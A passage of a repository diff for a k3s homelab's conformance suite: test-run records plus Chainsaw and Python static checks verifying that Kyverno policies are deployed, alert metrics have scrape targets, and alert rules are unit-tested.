+{"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "24b8111d0c39e9417e9f4d782f333f683540cfa7", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L3", "note": "run log OUTPUT carries every declared pass token (OFF_CLUSTER_TARGET_OK, BACKUPS_ARE_SCHEDULED_OK, DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK) and no skip token [log scoped to this testcase; tokens read from real-output sections only]", "proof": "proven", "requirements": ["R-STATE-03"], "run_id": "20260914T021505Z-24b8111", "sentinel": "DR_RESTORED_FROM_OFF_CLUSTER_BACKUP_OK", "test": "dr-restore", "ts_utc": "2026-09-14T02:15:05Z"}
+{"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "bd17b65db9fa906f336528e90b429ec1e2377963", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L0", "note": "L0 offline check exited 0; run_l1_offline.py renders its skips as JUnit <skipped/>, so a green JUnit is truthful without a sentinel", "proof": "proven", "requirements": ["R-ENV-02", "R-STATE-03"], "run_id": "20260914T021902Z-bd17b65", "sentinel": null, "test": "placeholder-guard-coupling", "ts_utc": "2026-09-14T02:19:02Z"}
+{"chainsaw_version": "v0.2.12", "env": "prod", "git_sha": "9339d5a79e2301d399e4e20722b164583c53c55d", "junit_result": "passed", "kube_version": "v1.36.4+k3s1", "layer": "L3", "note": "run log OUTPUT carries every declared pass token (NODE_LOSS_VOLUME_AVAILABLE_OK) and no skip token [log scoped to this testcase; tokens read from real-output sections only]", "proof": "proven", "requirements": ["R-STATE-02"], "run_id": "20260919T052225Z-9339d5a", "sentinel": "NODE_LOSS_VOLUME_AVAILABLE_OK", "test": "node-loss", "ts_utc": "2026-09-19T05:22:25Z"}

conformance/tests/l0-static/admission-policies-actually-applied/chainsaw-test.yaml

@@ -0,0 +1,42 @@
+# =============================================================================
+# L0 STATIC — every authored admission policy is actually APPLIED  (R-SEC-01, R-SEC-02)
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# WHY THIS EXISTS. `kyverno test` proves a policy is CORRECT. Nothing proved it was DEPLOYED.
+# platform/kyverno/ holds three lists and only platform-config/kustomization.yaml applies
+# anything; the other two are a reference copy and a namespace+HelmRelease render root. On
+# 2026-09-29 the R-SEC-02 boundary policy was added to the reference copy: it parsed, its
+# kyverno test passed, the gate passed, Flux reported the tier Ready at the new revision — and
+# the cluster ran the conformance-trigger ServiceAccount with nothing bounding it.
+#
+# WHOLE-REPO SCOPE, DELIBERATELY. The failure mode is a policy that is present but wired
+# nowhere, which by definition touches no requirement the diff attributes. A path-scoped run
+# would have skipped this check on the very commit that introduced the defect.
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: admission-policies-actually-applied
+  labels:
+    conformance.home.k3s/R-SEC-01: "true"
+    conformance.home.k3s/R-SEC-02: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-SEC-01,R-SEC-02"
+    conformance.home.k3s/layer: "L0"
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      Every ClusterPolicy authored under platform/kyverno/ is either referenced by
+      platform-config/kustomization.yaml (so Flux applies it) or is a documented CI-only
+      exemption that is genuinely not applied — so a policy cannot be authored, tested,
+      green, and absent from the cluster.
+spec:
+  steps:
+    - name: every-authored-policy-is-applied-or-documented-ci-only
+      description: >-
+        Enumerate the ClusterPolicy files under platform/kyverno/ and assert each is wired
+        into the Kustomization that actually applies Kyverno CRs, or exempted with a reason.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/admission-policies-actually-applied/check.sh

@@ -0,0 +1,120 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 static check (offline, no cluster) — admission-policies-actually-applied
+# Serves: R-SEC-01, R-SEC-02 (admission enforcement is only real if it is APPLIED)
+#
+# WHY THIS EXISTS — a policy that ships green and never reaches the cluster.
+#
+# platform/kyverno/ holds THREE lists, and only one of them applies anything:
+#   1. platform/kyverno/admission/kustomization.yaml  — reference only. Its own sibling says
+#      "kept as reference; THIS file is the buildable render root".
+#   2. platform/kyverno/kustomization.yaml            — that render root: namespace +
+#      HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
+#   3. platform-config/kustomization.yaml             — THE ONE. Kyverno CRs go here because
+#      they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
+#
+# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
+# what the conformance CI trigger may create) was added to (1). Everything went green: the file
+# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
+# `platform` Ready at the new revision — and the policy was never in any applied set. The
+# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
+# which is precisely the state that identity's own RBAC header says must never exist.
+#
+# Nothing could have caught it. `kyverno test` proves a policy is CORRECT, not that it is
+# DEPLOYED. This check asserts the second thing.
+#
+# GIVEN the repository as git tracks it,
+# WHEN  every file under platform/kyverno/ that declares a ClusterPolicy is enumerated,
+# THEN  each one is either referenced by platform-config/kustomization.yaml (so Flux applies
+#       it), or named in CI_ONLY below with a reason — and CI_ONLY itself may not name a
+#       policy that IS applied, so the exemption list cannot rot into a lie either way.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+exec python3 - "$ROOT" <<'PY'
+import sys, subprocess
+from pathlib import Path
+
+ROOT = Path(sys.argv[1])
+FAILURES, CHECKS = [], 0
+
+def check(cond, desc):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(desc)
+
+# Policies authored for the CI L0 gate that are deliberately NOT applied in-cluster. Each needs
+# a reason, and each is asserted BELOW to really be absent from the applied set — an exemption
+# that silently starts being applied is as much a lie as one that silently stops.
+CI_ONLY = {
+    "disallow-plaintext-secrets":
+        "CI-only by design: it requires a top-level `sops` block, which is IMPOSSIBLE at "
+        "admission because Flux decrypts before the Secret reaches the API server. Its "
+        "in-cluster counterpart is admission/secret-provenance.yaml.",
+}
+
+tracked = subprocess.run(["git", "ls-files", "-z", "--", "platform/kyverno/**/*.yaml",
+                          "platform/kyverno/*.yaml"],
+                         cwd=ROOT, capture_output=True, text=True, check=True)
+files = [ROOT / p for p in tracked.stdout.split("\0") if p]
+
+# A ClusterPolicy file, identified without a YAML parse of every doc: cheap and sufficient.
+policies = {}
+for f in files:
+    try:
+        txt = f.read_text()
+    except Exception:
+        continue
+    if "kind: ClusterPolicy" not in txt:
+        continue
+    for line in txt.splitlines():
+        st = line.strip()
+        if st.startswith("name:") and "  name:" in line:
+            policies[f.relative_to(ROOT).as_posix()] = st.split("name:", 1)[1].strip()
+            break
+
+check(len(policies) >= 6,
+      f"(0) the scan found {len(policies)} ClusterPolicy file(s) under platform/kyverno/ — "
+      f"too few means the scan broke, and every assertion below would be vacuous")
+
+applied_txt = (ROOT / "platform-config" / "kustomization.yaml").read_text()
+
+unapplied, wrongly_exempt = [], []
+for rel, name in sorted(policies.items()):
+    # platform-config references these as ../platform/kyverno/...
+    referenced = rel in applied_txt or rel.replace("platform/", "../platform/", 1) in applied_txt
+    if name in CI_ONLY:
+        if referenced:
+            wrongly_exempt.append(f"{name} ({rel}) is listed CI_ONLY but IS applied by platform-config")
+    elif not referenced:
+        unapplied.append(f"{name} ({rel})")
+
+check(not unapplied,
+      f"(1) every in-cluster ClusterPolicy is referenced by platform-config/kustomization.yaml "
+      f"— an unreferenced policy is authored, tested, green, and NEVER APPLIED {unapplied if unapplied else ''}")
+
+check(not wrongly_exempt,
+      f"(2) no CI_ONLY exemption names a policy that IS applied — a stale exemption hides a "
+      f"real deployment {wrongly_exempt if wrongly_exempt else ''}")
+
+for name, reason in CI_ONLY.items():
+    check(bool(reason.strip()),
+          f"(3) CI_ONLY['{name}'] carries a reason — an unexplained exemption is how this "
+          f"list stops being reviewable")
+
+check(CHECKS >= 4,
+      f"only {CHECKS} assertions ran — the check degenerated to a near-no-op")
+
+if FAILURES:
+    print(f"CHECK FAIL (admission-policies-actually-applied): {len(FAILURES)} of {CHECKS} assertions failed",
+          file=sys.stderr)
+    for f in FAILURES:
+        print(f"  - {f}", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: admission-policies-actually-applied — {CHECKS} assertions; "
+      f"{len(policies)} ClusterPolicy file(s), {len(policies) - len(CI_ONLY)} applied by "
+      f"platform-config, {len(CI_ONLY)} CI-only with reasons. Proves policies are DEPLOYED, "
+      f"not that they are correct — `kyverno test` is what proves correctness.")
+PY

conformance/tests/l0-static/alert-metrics-have-scrape-targets/chainsaw-test.yaml

@@ -36,18 +36,27 @@
 #       (4) `up{job="X"}` is audited on its own axis, because `up` always exists and so the metric
 #           check above can never see this failure: where the repo authors a Service and a
 #           ServiceMonitor in the SAME file, the monitor's endpoint port must be a port that Service
-#           actually defines. All 12 apps/* `<app>-down` SLI rules fail this today (the monitors name
-#           port `metrics`; no app Service defines one), so they are registered in
-#           KNOWN_UNWIRED_JOBS with the live proof that their `up{job=...}` series do not exist;
+#           actually defines. All 12 apps/* `<app>-down` SLI rules used to fail this (the monitors
+#           named port `metrics`; no app Service defined one) and were registered in
+#           KNOWN_UNWIRED_JOBS with the live proof that their `up{job=...}` series did not exist.
+#           THAT REGISTER IS NOW EMPTY BECAUSE THE TWELVE RULES WERE FIXED, not waived: they read
+#           kube-state-metrics readiness of their own workload object instead (2026-09-13), the dead
+#           ServiceMonitors are gone, and so is this axis' only subject. The monitor side therefore
+#           moved into its own check — tests/l0-static/servicemonitor-ports-resolve — which needs no
+#           alert rule to reach a monitor, resolves by selector across the whole tree instead of by
+#           same-file adjacency, and proves its resolver on fixtures so it cannot pass merely for
+#           lack of subjects;
 #   AND (5) the check is LOAD-BEARING: this Test DECLARES `conformance.home.k3s/scope: whole-repo`,
 #           so ci/l0.sh Stage 3b's `--include-scope whole-repo` unions it into EVERY gate
 #           invocation, and ci/gate.sh blocks the merge when the l0 stage fails.
 #
 # WHY BOTH REGISTERS ARE RATCHETS AND NOT BLANKET FAILURES: the same reasoning as
-# alert-rules-unit-tested. Failing outright on the 12 app SLI rules would make the gate red until
-# exporters exist for Plex, Pi-hole, Jackett, qBittorrent, Sonarr, Radarr, Seerr and friends —
-# none of which speak Prometheus natively — so the gate would be disabled, and a disabled gate
-# protects nothing. Merely printing the gap is how these 13 rules stayed inert for three phases.
+# alert-rules-unit-tested. Failing outright on the 12 app SLI rules would have made the gate red
+# until exporters existed for Plex, Pi-hole, Jackett, qBittorrent, Sonarr, Radarr, Seerr and friends
+# — none of which speak Prometheus natively — so the gate would have been disabled, and a disabled
+# gate protects nothing. Merely printing the gap is how these 13 rules stayed inert for three phases.
+# (The ratchet did its job: the twelve were closed a day later without an exporter, by reading a
+# signal that already existed. The register is empty now, and that is the outcome it was for.)
 # So each gap is DECLARED, counted on every run, and CANNOT GROW: a new alert on an unclaimed
 # metric FAILS, a new Service+ServiceMonitor pair with a mismatched port FAILS, and a STALE
 # register entry (the gap was closed, or the alert deleted) FAILS too, so neither register can rot

conformance/tests/l0-static/alert-metrics-have-scrape-targets/check.sh

@@ -182,14 +182,42 @@ SCRAPE_OWNERS: list[dict] = [
     },
     {
         "owner": "kube-prometheus-stack: the kubelet ServiceMonitor (cAdvisor + volume stats)",
-        "prefixes": ("kubelet_",),
+        # container_* is cAdvisor, which the kubelet ServiceMonitor scrapes on the SAME target as
+        # kubelet_* via its /metrics/cadvisor path (this entry's title always said so; the prefix
+        # was added 2026-09-14 when ContainerIOStallHigh became the first rule to query it).
+        # Verified on prod: container_pressure_io_stalled_seconds_total, 405 series across the
+        # three nodes, job="kubelet", metrics_path="/metrics/cadvisor".
+        "prefixes": ("kubelet_", "container_"),
         "file": KPS,
         # Chart default kubelet.enabled:true. There is no explicit enable to require, so the only
         # honest assertion is that it has not been turned off the way kubeProxy/kubeEtcd were.
         "require": [r"kubeProxy:"],   # sentinel: the exporter-toggle block is still authored here
         "forbid": [r"\n\s*kubelet:\s*\n(?:\s*#[^\n]*\n)*\s*enabled:\s*false"],
         "why": "kubelet_volume_stats_* powers MonitoringVolumeFillingUp and all three "
-               "pvc-capacity-alerts rules",
+               "pvc-capacity-alerts rules; container_pressure_io_stalled_seconds_total is the "
+               "only signal on this cluster that can name WHICH workload an I/O stall is hitting",
+    },
+    {
+        "owner": "kube-prometheus-stack: the kube-apiserver ServiceMonitor (chart default, NOT "
+                 "disabled the way kubeEtcd/kubeProxy are)",
+        # DELIBERATELY EXACT NAMES, NOT AN `etcd_` PREFIX. On this cluster the only etcd-shaped
+        # metrics that exist are the APISERVER'S CLIENT-SIDE view of its own local member. etcd's
+        # server-side disk metrics (etcd_disk_wal_fsync_duration_seconds,
+        # etcd_disk_backend_commit_duration_seconds) are NOT scraped — kubeEtcd.enabled:false for
+        # k3s' embedded etcd — and verified absent on prod 2026-09-14: a query for
+        # {__name__=~"etcd_disk_.*|etcd_server_.*|etcd_mvcc_.*"} returns nothing at all. A blanket
+        # `etcd_` claim would let a future rule on those names pass this check while being inert,
+        # which is precisely the hole this test exists to close. Widen only with a real scrape.
+        "exact": (
+            "etcd_request_duration_seconds_bucket",
+            "etcd_request_duration_seconds_count",
+        ),
+        "file": KPS,
+        "require": [r"kubeProxy:"],   # sentinel: the exporter-toggle block is still authored here
+        "forbid": [r"\n\s*kubeApiServer:\s*\n(?:\s*#[^\n]*\n)*\s*enabled:\s*false"],
+        "why": "etcd_request_duration_seconds_* is the ONLY per-node view of the etcd storage path "
+               "this cluster has, and NodeEtcdRequestsSlow is the only alert that can see the "
+               "condition that took k3s-prod-1 NotReady on 2026-09-07 before the node drops",
     },
     {
         "owner": "kube-prometheus-stack: kube-state-metrics custom-resource-state for Velero Schedules",
@@ -209,6 +237,31 @@ SCRAPE_OWNERS: list[dict] = [
                "backed up (VeleroScheduleNeverBackedUp / SchedulePaused / NoVolumeDataBackup); "
                "Velero itself publishes nothing until a backup is attempted",
     },
+    {
+        "owner": "kube-prometheus-stack: kube-state-metrics custom-resource-state for Flux revisions",
+        "prefixes": ("kube_flux_",),
+        "file": KPS,
+        "require": [
+            r"customResourceState:\s*\n\s*enabled:\s*true",
+            r"metricNamePrefix:\s*kube_flux_kustomization",
+            r"metricNamePrefix:\s*kube_flux_gitrepository",
+            # The RBAC is MANDATORY, not cosmetic — the same measured failure mode as velero.io
+            # above: without read access to these two API groups KSM publishes the
+            # custom-resource-state metrics as an EMPTY SET and logs a forbidden error, which would
+            # leave FluxRolloutInProgress/FluxRolloutStuck inert while looking configured.
+            r'apiGroups:\s*\["kustomize\.toolkit\.fluxcd\.io"\]',
+            r'apiGroups:\s*\["source\.toolkit\.fluxcd\.io"\]',
+            # A config-only edit does not restart KSM (the chart sets no checksum annotation over
+            # the ConfigMap), so the pod annotation that forces the roll is part of the claim: drop
+            # it and a future change to the flux collector set ships green and never takes effect.
+            r"homelab\.keithjackson\.dev/crs-config-rollout",
+        ],
+        "forbid": [r"customResourceState:\s*\n\s*enabled:\s*false"],
+        "why": "kube_flux_* is the ONLY revision-carrying signal in the TSDB — gotk_* has no "
+               "revision label anywhere (measured 2026-09-29) and the Flux event stream emits "
+               "ReconciliationSucceeded on every interval tick whether or not anything changed, so "
+               "without these metrics nothing can tell a deploy starting from an idle cluster",
+    },
     {
         "owner": "kube-prometheus-stack: bundled kube-state-metrics",
         "prefixes": ("kube_",),
@@ -228,7 +281,13 @@ SCRAPE_OWNERS: list[dict] = [
         "file": KPS,
         "require": [
             r"metricLabelsAllowlist:",
-            r"nodes=\[homelab\.keithjackson\.dev/egress-gateway\]",
+              # The label must be IN the allowlist, not BE the whole allowlist. This pattern used to
+              # end in a literal `]`, asserting the list held exactly this one label — so adding a
+              # second one (`egress-uplink`, for the steering-staleness alerts) made this check FAIL
+              # while the property it guards stayed perfectly satisfied. A guard that breaks when you
+              # correctly extend the thing it guards teaches people to edit the guard, which is how it
+              # stops guarding. `[,\\]]` accepts either the end of the list or a further entry.
+              r"nodes=\[homelab\.keithjackson\.dev/egress-gateway[,\]]",
         ],
         "forbid": [],
         "why": "KSM exposes NO custom labels by default. Without the allowlist entry "
@@ -333,38 +392,36 @@ KNOWN_UNWIRED_METRICS: dict[str, str] = {
 }
 
 # =============================================================================================
-# REGISTER 2 — KNOWN_UNWIRED_JOBS. Shrink-only. Each is a `up{job="X"}` selector whose monitor
-# names an endpoint port that the Service it selects does not define, so the monitor discovers
-# ZERO targets, no `up{job="X"}` series exists, and `up{job="X"} == 0` can never fire. This is the
-# nastiest variant of the class: `up` exists in abundance, so nothing about the metric name looks
-# wrong, and `PrometheusTargetsMissing` cannot see it either — a target that was never discovered
-# has no up series to be 0.
+# REGISTER 2 — KNOWN_UNWIRED_JOBS. Shrink-only, and NOW EMPTY.
 #
-# All twelve are the apps/* ServiceDefinition SLI pattern: the rendered ServiceMonitor names
-# `port: metrics`, and no app Service defines a port of that name (verified: zero occurrences of
-# `name: metrics` across all twelve manifests). VERIFIED on prod 2026-09-13: `count by (job) (up)`
-# listed 20 jobs and none of these twelve appeared; all twelve `<app>-down` rules returned no
-# series. Closing this needs a Prometheus exporter per app — Plex, Pi-hole, Jackett, qBittorrent,
-# Sonarr, Radarr and Seerr do not speak Prometheus natively — so it is its own piece of work, and
-# for keycloak specifically the job labels that DO exist are `keycloak-service`/`keycloak-discovery`
-# (platform/keycloak/servicemonitor.yaml), so that one is a rename away rather than an exporter.
+# Each entry was a `up{job="X"}` selector whose monitor named an endpoint port the Service it
+# selects did not define, so the monitor discovered ZERO targets, no `up{job="X"}` series existed,
+# and `up{job="X"} == 0` could never fire. The nastiest variant of the class: `up` exists in
+# abundance, so nothing about the metric name looks wrong, and `PrometheusTargetsMissing` cannot see
+# it either — a target that was never discovered has no up series to be 0.
+#
+# IT HELD ALL TWELVE apps/* SLI RULES, AND IT IS EMPTY BECAUSE THEY WERE FIXED, not because the gap
+# was waived (2026-09-13, branch fix/app-sli-rules-discover-no-targets). The register's own note
+# said closing it needed "a Prometheus exporter per app". That was the wrong conclusion from a true
+# premise: Plex, Pi-hole, Jackett, qBittorrent, Sonarr, Radarr, Seerr, Semaphore and Nextcloud
+# genuinely export no Prometheus metrics, so instead the `up` SLI was rewritten against a signal that
+# DOES exist for every workload — kube-state-metrics readiness of the service's own workload object
+# (`kube_deployment_status_replicas_available` / `kube_statefulset_status_replicas_ready`), and
+# `kubevirt_vmi_info{phase="running"}` for the VM. No exporter, no new scrape target; each rule is
+# unit-tested firing AND quiet (apps/wave-*/tests/app-slis.test.yaml) and each expression was
+# evaluated live on prod, where eleven of the twelve return no series on a healthy cluster and the
+# twelfth (vm-demo) is not deployed at all.
+#
+# The rendered ServiceMonitors went with them: a monitor for a workload that serves no metrics is
+# dead configuration that reads as coverage. So assertion (4) below now has NOTHING to audit under
+# apps/ — which is why the monitor-side axis moved into its own check,
+# tests/l0-static/servicemonitor-ports-resolve. THAT is where a ServiceMonitor naming a port no
+# Service defines fails, with no alert rule required, resolving by selector across the whole tree
+# rather than by same-file adjacency, and with its resolver proven on fixtures so it cannot pass for
+# lack of subjects. Keeping this register non-empty as "documentation" of a closed gap is exactly the
+# fiction the ratchet forbids: the stale-entry assertion below would fail, and rightly.
 # =============================================================================================
-KNOWN_UNWIRED_JOBS: dict[str, str] = {
-    "gitea": "apps/wave-0/gitea.yaml — Service defines only port-3000",
-    "jackett": "apps/wave-0/jackett.yaml — no exporter",
-    "pihole": "apps/wave-0/pihole.yaml — needs pihole-exporter",
-    "plex": "apps/wave-0/plex.yaml — no native Prometheus endpoint",
-    "qbittorrent": "apps/wave-0/qbittorrent.yaml — needs qbittorrent-exporter",
-    "vm-demo": "apps/wave-0/vm-demo.yaml — a KubeVirt demo VM, no exporter",
-    "keycloak": "apps/wave-1/keycloak.yaml — the live jobs are keycloak-service / "
-                "keycloak-discovery (platform/keycloak/servicemonitor.yaml); this SLI rule names "
-                "neither, so it is a rename away from being live rather than an exporter away",
-    "nextcloud": "apps/wave-1/nextcloud.yaml — needs nextcloud-exporter (serverinfo token)",
-    "radarr": "apps/wave-1/radarr.yaml — needs exportarr",
-    "semaphore": "apps/wave-1/semaphore.yaml — no exporter",
-    "sonarr": "apps/wave-1/sonarr.yaml — needs exportarr",
-    "seerr": "apps/wave-2/seerr.yaml — no exporter",
-}
+KNOWN_UNWIRED_JOBS: dict[str, str] = {}
 
 # =============================================================================================
 # (0) PARSE EVERY ALERT RULE
@@ -422,9 +479,14 @@ def is_golden_fixture(p: Path) -> bool:
     return "conformance" in parts and "golden" in parts
 
 
+# NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES such
+# as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent runs, so
+# a bare rglob from ROOT audited up to 18 duplicates of every file — which both invents FAILs
+# and, worse, can satisfy an "something declares X" check from a copy rather than real source.
+# Same fix as egress-paths-selected-by-rules. .claude/ is gitignored (.gitignore:43).
 rule_files = sorted(
     p for p in ROOT.rglob("*.yaml")
-    if ".git" not in p.parts and not is_golden_fixture(p) and "kind: PrometheusRule" in read(p)
+    if not any(part.startswith(".") for part in p.relative_to(ROOT).parent.parts) and not is_golden_fixture(p) and "kind: PrometheusRule" in read(p)
 )
 check(len(rule_files) > 0,
       "no file declaring `kind: PrometheusRule` found — the parser or the repo layout changed; "
@@ -593,7 +655,7 @@ def yaml_docs(path: Path) -> list[dict]:
 # job name -> (relpath, monitor endpoint ports, ports the co-authored Services define)
 same_file_monitors: dict[str, tuple[str, set[str], set[str]]] = {}
 for p in sorted(ROOT.rglob("*.yaml")):
-    if ".git" in p.parts:
+    if any(part.startswith(".") for part in p.relative_to(ROOT).parent.parts):
         continue
     txt = read(p)
     if "kind: ServiceMonitor" not in txt or "kind: Service" not in txt:

conformance/tests/l0-static/alert-rules-unit-tested/check.sh

@@ -147,25 +147,20 @@ def check(cond, msg):
 # =============================================================================
 # THE DECLARED REGISTER (assertion 7). Shrink-only; see the header for why this is a ratchet.
 #
-# UNTESTED_FILES — PrometheusRule files no test file covers AT ALL. The twelve apps/* entries
-# are single `<app>-down` liveness rules generated from one ServiceDefinition template;
-# platform/kubevirt/alerts.yaml (4 rules) is the substantial one and is where the next tests
-# belong. A file listed here that later gains coverage, or stops carrying a PrometheusRule,
-# FAILS as stale.
+# UNTESTED_FILES — PrometheusRule files no test file covers AT ALL. A file listed here that later
+# gains coverage, or stops carrying a PrometheusRule, FAILS as stale.
+#
+# THE TWELVE apps/* ENTRIES ARE GONE (2026-09-13). They were the single `<app>-down` liveness rules
+# generated from one ServiceDefinition template, and the register's description of them as one
+# template was exactly why leaving them untested was so expensive: ONE wrong expression was wrong
+# twelve times, and it was — `up{job="<app>"} == 0` against a job no scrape target produced, inert on
+# prod for all twelve. They are now covered by apps/wave-0/tests/app-slis.test.yaml,
+# apps/wave-1/tests/app-slis.test.yaml and apps/wave-2/tests/app-slis.test.yaml, each rule pinned
+# BOTH ways (quiet on the healthy state, firing on no-ready-replica, and firing when the signal
+# VANISHES — the failure mode that produced the class). platform/kubevirt/alerts.yaml (4 rules) is
+# now the only entry left and is where the next tests belong.
 # =============================================================================
 UNTESTED_FILES = {
-    "apps/wave-0/gitea.yaml",
-    "apps/wave-0/jackett.yaml",
-    "apps/wave-0/pihole.yaml",
-    "apps/wave-0/plex.yaml",
-    "apps/wave-0/qbittorrent.yaml",
-    "apps/wave-0/vm-demo.yaml",
-    "apps/wave-1/keycloak.yaml",
-    "apps/wave-1/nextcloud.yaml",
-    "apps/wave-1/radarr.yaml",
-    "apps/wave-1/semaphore.yaml",
-    "apps/wave-1/sonarr.yaml",
-    "apps/wave-2/seerr.yaml",
     "platform/kubevirt/alerts.yaml",
 }
 
@@ -173,8 +168,21 @@ UNTESTED_FILES = {
 # own rule nothing asserts on. This is the half that stops a new alert being slipped into an
 # already-"tested" file untested: anything not listed here must appear in a covering test.
 # The monitoring block is large because backups.test.yaml (the repo's first suite) deliberately
-# covers the Velero/backup rules only; pvc-capacity-alerts.yaml is flattened into the same
-# rules file by the suite convention but has no assertions of its own yet.
+# covers the Velero/backup rules only. It SHRANK by seven on 2026-09-13, when
+# platform/monitoring/tests/longhorn.test.yaml took on the whole platform-health.longhorn group
+# plus the three kubelet-based PVC-fill rules it has to be measured against (the per-volume
+# Longhorn "capacity" rule was deleted as a permanently-firing duplicate of them, so proving the
+# redundancy meant asserting on the rules that survive). Only
+# PersistentVolumeFillingUpPredicted is still unasserted in pvc-capacity-alerts.yaml.
+# It SHRANK BY TWO MORE on 2026-09-14: platform/monitoring/tests/node-io-cause.test.yaml pins the
+# eight new platform-health.node-io-cause rules, and its healthy fixture asserts NodeIOPressureHigh
+# and NodeIOPressureCritical quiet on the same measured state — the whole point of that fixture is
+# that the two PSI detectors and the eight cause rules must agree about what "healthy" is, so the
+# detectors are no longer unasserted.
+# It SHRANK BY ONE on 2026-09-19: platform/monitoring/tests/vpn-egress.test.yaml pins the two new
+# egress-steering rules, and asserts VPNTunnelDown QUIET in all four fixtures — that silence IS the
+# claim those rules exist for (tun0 up and passing traffic while vpn-class egress is dropped), so it
+# had to become an assertion rather than a sentence in a comment.
 UNTESTED_ALERTS = {
     ("platform/cnpg/alerts.yaml", "CNPGWALArchiveBacklog"),
     ("platform/cnpg/alerts.yaml", "CNPGNoRecoverabilityPoint"),
@@ -186,30 +194,20 @@ UNTESTED_ALERTS = {
     ("platform/monitoring/alerts.yaml", "NodeDiskFillingUp"),
     ("platform/monitoring/alerts.yaml", "NodeCPUPressureHigh"),
     ("platform/monitoring/alerts.yaml", "NodeCPULoadHigh"),
-    ("platform/monitoring/alerts.yaml", "NodeIOPressureHigh"),
-    ("platform/monitoring/alerts.yaml", "NodeIOPressureCritical"),
-    ("platform/monitoring/alerts.yaml", "LonghornVolumeDegraded"),
-    ("platform/monitoring/alerts.yaml", "LonghornVolumeFaulted"),
-    ("platform/monitoring/alerts.yaml", "LonghornVolumeCapacityHigh"),
-    ("platform/monitoring/alerts.yaml", "LonghornNodeStorageHigh"),
     ("platform/monitoring/alerts.yaml", "FluxReconciliationFailure"),
     ("platform/monitoring/alerts.yaml", "FluxResourceSuspended"),
     ("platform/monitoring/alerts.yaml", "CertificateExpiringSoon"),
     ("platform/monitoring/alerts.yaml", "CertificateExpiryImminent"),
     ("platform/monitoring/alerts.yaml", "CertificateNotReady"),
-    ("platform/monitoring/alerts.yaml", "VPNTunnelDown"),
     ("platform/monitoring/alerts.yaml", "HubbleDeniedFlowSpike"),
     ("platform/monitoring/alerts.yaml", "KeycloakDown"),
     ("platform/monitoring/alerts.yaml", "KeycloakDatabaseDown"),
     ("platform/monitoring/alerts.yaml", "KeycloakClientSecretReconcilerFailing"),
     ("platform/monitoring/alerts.yaml", "KeycloakClientSecretReconcilerStale"),
-    ("platform/monitoring/alerts.yaml", "MonitoringVolumeFillingUp"),
     ("platform/monitoring/alerts.yaml", "PrometheusTargetsMissing"),
     ("platform/monitoring/alerts.yaml", "ImageUpdateAutomationFailing"),
     ("platform/monitoring/alerts.yaml", "ImagePolicyStalled"),
     ("platform/monitoring/alerts.yaml", "UpdateHealthGateFailed"),
-    ("platform/monitoring/pvc-capacity-alerts.yaml", "PersistentVolumeFillingUp"),
-    ("platform/monitoring/pvc-capacity-alerts.yaml", "PersistentVolumeAlmostFull"),
     ("platform/monitoring/pvc-capacity-alerts.yaml", "PersistentVolumeFillingUpPredicted"),
 }
 
@@ -285,11 +283,16 @@ FETCH_RE = re.compile(
 #     versions.env. What is forbidden is a RULE-UNIT RUN acquiring its own engine: then the
 #     version, the network and the machine are decided silently at test time, and a missing
 #     toolchain becomes a green run instead of an exit 3.
+# NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES such
+# as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent runs, so
+# a bare rglob from ROOT audited up to 18 duplicates of every file — which both invents FAILs
+# and, worse, can satisfy an "something declares X" check from a copy rather than real source.
+# Same fix as egress-paths-selected-by-rules. .claude/ is gitignored (.gitignore:43).
 SELF_DIR = "conformance/tests/l0-static/alert-rules-unit-tested/"
 INSTALLERS = (".gitea/workflows/scripts/install-tools.sh", "infra/devcontainer/")
 for p in sorted(ROOT.rglob("*.sh")):
     rel = str(p.relative_to(ROOT))
-    if rel.startswith((".git/", "conformance/runs/", SELF_DIR)):
+    if rel.startswith((".git/", ".claude/", "conformance/runs/", SELF_DIR)):
         continue
     try:
         text = p.read_text()
@@ -324,7 +327,7 @@ def tracked_yaml() -> list[Path]:
         return [ROOT / p for p in out.stdout.split("\0") if p]
     # No usable index (the gate container mounts a worktree whose .git points outside the
     # mount). Fall back to a filesystem walk rather than auditing nothing.
-    return sorted(p for p in ROOT.rglob("*.y*ml") if ".git/" not in str(p))
+    return sorted(p for p in ROOT.rglob("*.y*ml") if not any(part.startswith(".") for part in p.relative_to(ROOT).parent.parts))
 
 
 KIND_RE = re.compile(r"^\s*kind:\s*PrometheusRule\s*$", re.M)
@@ -478,7 +481,34 @@ for rel in sorted(alert_files):
           f"{rel} is listed in UNTESTED_FILES but is now covered by {tests} — the register is "
           f"shrink-only: delete the line so the next missing test is caught")
     text = "".join((ROOT / t).read_text() for t in tests if (ROOT / t).is_file())
-    covered = [n for n in names if re.search(rf"\b{re.escape(n)}\b", text)]
+    # "COVERED" MUST MEAN ASSERTED, NOT MENTIONED (tightened 2026-09-19).
+    # This used to be a bare word match over the whole test file, so an alert named anywhere —
